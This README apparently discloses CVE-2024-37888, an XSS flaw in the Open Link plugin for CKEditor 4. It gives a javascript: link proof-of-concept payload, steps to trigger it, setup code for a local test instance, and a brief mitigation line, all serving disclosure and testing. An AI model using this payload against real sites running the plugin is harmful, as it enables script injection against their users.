7ragnarok7/cve-2024-37888XSS PoC/Exploit for Open Link Plugin for CKEditor 4
This repository documents vulnerability details and exploit for CVE-2024-37888 discovered and reported by myself.
This Proof of Concept (POC) demonstrates the exploitation of an XSS vulnerability discovered by me recently in the Open Link plugin which when enabled, directly affects all versions of CKEditor 4. The flaw allows JavaScript execution through crafted links within the editor, which the plugin fails to sanitize. This flaw can be exploited inside the text area only when the Open Link plugin is installed. The Open Link plugin allows us to open links directly inside the editing area.
This vulnerability can be tested from the pre-configured CKEditor instance present here.
Insert Payload:
Open the CKEditor instance and click on the "Source" icon.
Insert the following payload in the text area:
<a href="javascript:alert('XSS Found')">XSS</a>
Switch to WYSIWYG Mode:
Trigger XSS:
You can set up your own local instance to test this vulnerability by following the below steps.
Download CKEditor 4:
Install Open Link Plugin:
ckeditor/plugins/openlink directory.
Update Configuration to Include OpenLink plugin:
config.js file of CKEditor by appending the the following lines to the end:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
Include CKEditor in HTML:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>
This vulnerability has been discovered in the code base of the Open Link plugin and not in the CKEditor 4 codebase. The above POC demonstrates the exploitation of an XSS vulnerability via Open Link plugin in CKEditor 4.*.*. The flaw allows arbitrary JavaScript execution through specially crafted links, posing a significant security risk.
config.disallowedContent = 'a[onclick]';